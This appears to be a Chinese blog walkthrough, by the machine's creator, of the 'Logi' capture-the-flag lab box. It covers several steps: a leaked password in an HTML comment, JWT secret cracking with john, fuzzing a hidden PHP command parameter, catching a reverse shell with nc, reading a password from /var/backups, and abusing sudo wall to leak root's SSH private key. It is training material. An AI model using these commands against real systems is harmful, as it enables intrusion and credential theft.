Skip to main content

Logi靶机-maze-JWT-Ti15中国队加油!

·265 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

Maze-Logi靶机-作者:我-QQ群660930334
#

这里引用下群友夜佬的他写的太好了,自己的设计思路就是JWT,但是我是作者所以没什么打的点讲解,只是想致敬下暑假看的三体2的主角罗辑,我将向下一个网络安全点发起坐标!最后一句Ame加油,Fy加油,老将不死,Ti15大家在上海干回来!

信息收集

首先查看 Web 服务的主页内容:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ curl 192.168.205.235 | sed '/<style>/,/<\/style>/d'
 ...
 <h1>TI15 中国队加油</h1>
 <div class="slogan">Make Chinese DOTA Great Again</div>
 <div class="slogan">never give up 记住这个要考</div>
 ...
 <!--ame:jiayouachunyu-->
 

用密码登录user.php

然后使用JWT令牌爆破是密码nevergiveup修改后访问到界面

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ vim hash             
                                                                                 
                                                                                  
             
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ cat hash                                         
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1O...
                                                                                 
                                                                                  
             
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
...
 nevergiveup      (?)   
 成功破解密钥:nevergiveup
这个密钥正好与首页提示"never give up 记住这个要考"相呼应

进去

成功进入管理面板,页面提示存在隐藏文件:karsakarsa369.php
页面返回提示"fuzz",说明需要对参数进行模糊测试。

使用 ffuf 对 PHP 函数参数进行爆破:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ ffuf -u 'http://192.168.205.235/karsakarsa369.php?FUZZ=phpinfo();' -w 
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --fs 4
 ...
 cmd                     
[Status: 200, Size: 86168, Words: 4281, Lines: 1024, 
Duration: 4ms]
 [WARN] Caught keyboard interrupt (Ctrl-C)
发现参数 cmd 可以执行 PHP 代码。
测试访问 
http://192.168.205.235/karsakarsa369.php?cmd=phpinfo(); 确认可以执行 PHP 函
数,从 phpinfo 输出看到默认的 disable_functions 设置,但 
exec 函数是可用的

反弹shell

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
 └─$ nc -lvnp 8888               
listening on [any] 8888 ...
 connect to [192.168.205.128] from (UNKNOWN) [192.168.205.235] 50220
 id
 uid=33(www-data) gid=33(www-data) groups=33(www-data

shell环境优化

script /dev/null -c bash
 Ctrl+Z
 stty raw -echo; fg
 reset xterm
 export TERM=xterm
 export SHELL=/bin/bash
 stty rows 36 columns 178

发现密码

www-data@logi:/var$ ls backups/
 alternatives.tar.0     
apt.extended_states.1.gz  apt.extended_states.3.gz  
apt.extended_states.5.gz  dpkg.statoverride.0  group.bak    
shadow.bak
 apt.extended_states.0  apt.extended_states.2.gz  apt.extended_states.4.gz  
dpkg.diversions.0         
dpkg.status.0        
passwd      
gshadow.bak  passwd.bak
 www-data@logi:/var$ cd backups/
 www-data@logi:/var/backups$ cat passwd
 xiangwozheyangderen

切换提权

发现 ame 用户可以无密码执行 
/usr/bin/wall 命令


这里需要了解一些有趣的技术细节。如果你现在的 shell 是 www-data(反弹),然后 su ame 的 
shell,执行 
sudo wall --nobanner "/root/.ssh/id_rsa" 会没有任何输出。
这是因为:
wall 并不会直接把内容输出给当前执行者,它的工作流程是:
1. 打开 
/var/run/utmp 文件;
2. 遍历其中记录的"登录用户"(比如 
3. 对每个用户对应的 
who ,w命令能看到的);
/dev/pts/X 写入广播消息

现在我们遇到的问题是:
ame@logi:~$ tty
 /dev/pts/0
 tty 我们是有的,问题是登录记录:
ame@logi:~$ who
 ame@logi:~$ w
 07:42:06 up  3:06,  0 users,  load average: 0.00, 0.00, 0.00
 USER     
TTY      
FROM             
我们是反弹的伪终端,不是登录会话,
LOGIN@   
IDLE   
JCPU   
utmp 里没有它的条目,
PCPU WHAT
 wall 自然不会发消息到它。
所以我们需要 SSH 重新连接 ame。

读取私钥登录

ame@logi:~$ cat tmp | sed 's/\s\+$//; s/\$//g' > id_rsa
 ame@logi:~$ chmod 600 id_rsa 
 root@logi:~# cat /root/provemyself.txt /home/ame/user.txt 
root{xiangrootzheyangderen}
 user:{niudexiongdiniude}

Related

MVC-PHP代码审计4-框架-SQL注入
·309 words·2 mins
readfile靶机-maze-snmp-rbash-能力机制
·723 words·4 mins
MVC-PHP代码审计2
·204 words·1 min
MVC-PHP代码审计3-反序列化-原生-框架-phar
·452 words·3 mins
Dockerfile-使用-docker语法
·434 words·3 mins